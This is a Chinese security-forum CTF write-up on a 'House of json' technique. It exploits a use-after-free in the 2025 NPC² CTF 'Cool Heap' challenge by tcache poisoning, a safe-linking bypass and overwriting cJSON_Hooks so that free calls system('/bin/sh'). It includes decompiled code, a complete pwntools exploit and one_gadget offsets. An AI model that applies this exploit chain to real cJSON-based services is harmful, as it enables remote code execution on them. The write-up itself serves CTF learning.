首页
社区
课程
招聘
[原创]基于cJSON_Hooks的堆利用
发表于: 2026-7-31 16:57 159

[原创]基于cJSON_Hooks的堆利用

2026-7-31 16:57
159

House of json

cJSON库中存在一个cJSON_Hooks结构体用于自定义内存分配于释放,可以此劫持程序控制流进行攻击,下以2025 NPC² CTF 的Cool Heap题目为例展示利用链

typedef struct cJSON_Hooks
{
      void *(CJSON_CDECL *malloc_fn)(size_t sz); // 默认为标准库的 malloc
      void (CJSON_CDECL *free_fn)(void *ptr);	 // 默认为标准库的 free
} cJSON_Hooks;

glibc版本为2.35,保护全开

图片描述

图片描述

ida 反编译一下,经典菜单题,存在UAF漏洞

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int cmd; // [rsp+4h] [rbp-104Ch]
  unsigned int idx; // [rsp+8h] [rbp-1048h]
  int size; // [rsp+Ch] [rbp-1044h]
  void *src; // [rsp+10h] [rbp-1040h]
  __int64 json; // [rsp+18h] [rbp-1038h]
  __int64 ObjectItemCaseSensitive; // [rsp+20h] [rbp-1030h]
  __int64 idx_json; // [rsp+28h] [rbp-1028h]
  __int64 size_json; // [rsp+30h] [rbp-1020h]
  __int64 content_json; // [rsp+38h] [rbp-1018h]
  __int64 buf[514]; // [rsp+40h] [rbp-1010h] BYREF

  buf[513] = __readfsqword(0x28u);
  initial(argc, argv, envp);
  memset(buf, 0, 4096);
  cmd = -1;
  idx = 0;
  size = 0;
  src = 0LL;
  while ( 1 )
  {
    printf("> ");
    read(0, buf, 0xFFFuLL);
    json = cJSON_Parse(buf);                    // json 没delete
    ObjectItemCaseSensitive = cJSON_GetObjectItemCaseSensitive(json, "cmd");
    if ( *(_DWORD *)(ObjectItemCaseSensitive + 24) == 8 )
      cmd = *(_DWORD *)(ObjectItemCaseSensitive + 40);// cmd
    idx_json = cJSON_GetObjectItemCaseSensitive(json, "idx");
    if ( *(_DWORD *)(idx_json + 24) == 8 )
      idx = *(_DWORD *)(idx_json + 40) % 15;
    size_json = cJSON_GetObjectItemCaseSensitive(json, "size");
    if ( *(_DWORD *)(size_json + 24) == 8 )
      size = *(_DWORD *)(size_json + 40);
    content_json = cJSON_GetObjectItemCaseSensitive(json, "content");
    if ( *(_DWORD *)(content_json + 24) == 16 )
      src = *(void **)(content_json + 32);
    if ( cmd == 26318864 )                      // exit cmd=26318864
    {
      puts("いいよ、こいよ");
      _exit(-114514);
    }
    if ( cmd > 26318864 )
    {
LABEL_32:
      puts("Invalid cmd");
    }
    else if ( cmd == 1131796 )                  // edit cmd=1131796
    {
      if ( *((_QWORD *)&chunk_array + 2 * (int)idx) )
      {
        if ( size >= *((_DWORD *)&size_array + 4 * (int)idx) - 1 )
        {
          puts("How dare you!");
          read(0, *((void **)&chunk_array + 2 * (int)idx), *((_DWORD *)&size_array + 4 * (int)idx) - 1);// UAF
        }
        else
        {
          memcpy(*((void **)&chunk_array + 2 * (int)idx), src, *((_DWORD *)&size_array + 4 * (int)idx) - 1);
        }
      }
      printf("chunk[%d] updated\n", idx);
    }
    else
    {
      if ( cmd > 1131796 )
        goto LABEL_32;
      if ( cmd == 26214 )                       // show chunk cmd=26214
      {
        if ( *((_QWORD *)&chunk_array + 2 * (int)idx) )
          puts(*((const char **)&chunk_array + 2 * (int)idx));
        printf("chunk[%d] content printed\n", idx);
      }
      else
      {
        if ( cmd > 26214 )
          goto LABEL_32;
        if ( cmd )
        {
          if ( cmd != 4919 )                    // free chunk cmd=4919
            goto LABEL_32;
          if ( *((_QWORD *)&chunk_array + 2 * (int)idx) )
            free(*((void **)&chunk_array + 2 * (int)idx));// UAF
          printf("chunk[%d] freed\n", idx);
        }
        else
        {                                       // add chunk cmd=0
                                                // 
          *((_QWORD *)&chunk_array + 2 * (int)idx) = malloc(size);
          *((_DWORD *)&size_array + 4 * (int)idx) = size;
          printf("chunk[%d] created\n", idx);
        }
      }
    }
  }
}

下面进行漏洞利用:

先泄漏一下libc,这里注意cJSON解析时会切割释放后的大堆块

# leak libc
add(0,0x1500)
delete(0)
add(0,0x12d0)
show(0)
libc.address = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-0x21ace0
success("libc base: "+hex(libc.address))

然后打tcache poisoning把堆块申请到environ附近泄漏栈地址

# tcache poisoning && bypass safe-linking && leak stack
environ = libc.sym['environ']
success('environ: '+hex(environ))
add(1,0x80)
add(2,0x80)
delete(2)
delete(1)
show(1)
tmp_1 = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
show(2)
tmp_2 = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
heap_base = (tmp_1^tmp_2)-0x2330
success('heap_base: '+hex(heap_base))
edit(1,p64(environ^((heap_base+0x2070)>>12)))
add(3,0x80)
add(4,0x80) #environ
show(4)
stack_leak = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
main_addr =stack_leak-0x110
success("main_addr: "+hex(main_addr))

然后再打tcache posioning把堆块分配到这里,泄漏出main地址,进而泄漏pie

图片描述

相关脚本:

# tcache posioning && leak pie
add(5,0x90)
add(6,0x90)
delete(6)
delete(5)
edit(5,p64(((main_addr-0x10)&0xfffffffffffffff0)^((heap_base+0x3770)>>12))) # align
add(7,0x90)
add(8,0x90)

if(main_addr%0x10==0):
    edit(8,b'a'*0x10)
    show(8)
    p.recvuntil(b'a'*0x10)
    main = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
else:
    edit(8,b'a'*0x18)
    show(8)
    p.recvuntil(b'a'*0x18)
    main = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))

success("main: "+hex(main))
pie = main-0x2390

然后打cJSON_Hooksmalloc_hook不变,free_hook改成system,然后再发送{"/bin/sh"(注意没有右括号)这样cJSON_Parse过程中会先分配内存给字符串"/bin/sh"分配一个堆块来存放,然后发现没有右括号解析失败,开始递归销毁所有在此过程中分配的内存块,触发system("/bin/sh")

# cJSON_Hooks
jm_hook =pie+0xb010
jf_hook =pie+0xb018
add(9,0x100)
add(10,0x100)
delete(10)
delete(9)
edit(9,p64(jm_hook^((heap_base+0x4c60)>>12)))
add(11,0x100)
add(12,0x100) 
one_gadget=[i+libc.address for i in one_gadget_base]
# overwrite hooks
edit(12,p64(libc.sym['malloc'])+p64(libc.sym['system']))
p.sendafter(b'> ',b'{\"/bin/sh\"') # system("/bin/sh") getshell

图片描述

完整exp:

from pwn import *
from LibcSearcher import*
import json

context(os='linux',arch='amd64')
# context.log_level='debug'
context.terminal = ['zellij', 'run', '-c', '-d', 'right', '--']
ip='127.0.0.1'
port=60061
b='''
    b main
    b *main+887
    b *$rebase(0x25fc)
'''
elf=ELF('./vuln',False)
libc=ELF('./libc.so.6',False)

temp = {
    "cmd":-1,
    "idx":0,
    "size":0,
    "content":"padding"
}

def add(idx,size):
    tmp ={'cmd':0,'idx':idx,'size':size,'content':'padding'}
    p.sendafter(b'> ',json.dumps(tmp).encode())

def delete(idx):
    tmp ={'cmd':4919,'idx':idx,'size':0,'content':'padding'}
    p.sendafter(b'> ',json.dumps(tmp).encode())

def show(idx):
    tmp ={'cmd':26214,'idx':idx,'size':0,'content':'padding'}
    p.sendafter(b'> ',json.dumps(tmp).encode())

def edit(idx,content=b''):
    tmp ={'cmd':1131796,'idx':idx,'size':0xFFFF,'content':'padding'}
    p.sendafter(b'> ',json.dumps(tmp).encode())
    p.sendafter(b'How dare you!\n',content)

one_gadget_base = [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd43,0xebd3f]

# p=process(elf.path)
p=remote(ip,port)
# p=gdb.debug(elf.path,b)

# leak libc
add(0,0x1500)
delete(0)
add(0,0x12d0)
show(0)
libc.address = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-0x21ace0
success("libc base: "+hex(libc.address))

# tcache poisoning && bypass safe-linking && leak stack
environ = libc.sym['environ']
success('environ: '+hex(environ))
add(1,0x80)
add(2,0x80)
delete(2)
delete(1)
show(1)
tmp_1 = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
show(2)
tmp_2 = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
heap_base = (tmp_1^tmp_2)-0x2330
success('heap_base: '+hex(heap_base))
edit(1,p64(environ^((heap_base+0x2070)>>12)))
add(3,0x80)
add(4,0x80) #environ
show(4)
stack_leak = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
main_addr =stack_leak-0x110
success("main_addr: "+hex(main_addr))

# tcache posioning && leak pie
add(5,0x90)
add(6,0x90)
delete(6)
delete(5)
edit(5,p64(((main_addr-0x10)&0xfffffffffffffff0)^((heap_base+0x3770)>>12))) # align
add(7,0x90)
add(8,0x90)

if(main_addr%0x10==0):
    edit(8,b'a'*0x10)
    show(8)
    p.recvuntil(b'a'*0x10)
    main = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
else:
    edit(8,b'a'*0x18)
    show(8)
    p.recvuntil(b'a'*0x18)
    main = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))

success("main: "+hex(main))
pie = main-0x2390

# cJSON_Hooks
jm_hook =pie+0xb010
jf_hook =pie+0xb018

add(9,0x100)
add(10,0x100)
delete(10)
delete(9)

edit(9,p64(jm_hook^((heap_base+0x4c60)>>12)))

add(11,0x100)
add(12,0x100) 

one_gadget=[i+libc.address for i in one_gadget_base]

# overwrite hooks
edit(12,p64(libc.sym['malloc'])+p64(libc.sym['system']))

p.sendafter(b'> ',b'{\"/bin/sh\"') # system("/bin/sh") getshell

p.interactive()

'''
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  rax == NULL || {rax, r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
'''

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!

上传的附件:
收藏
免费 0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回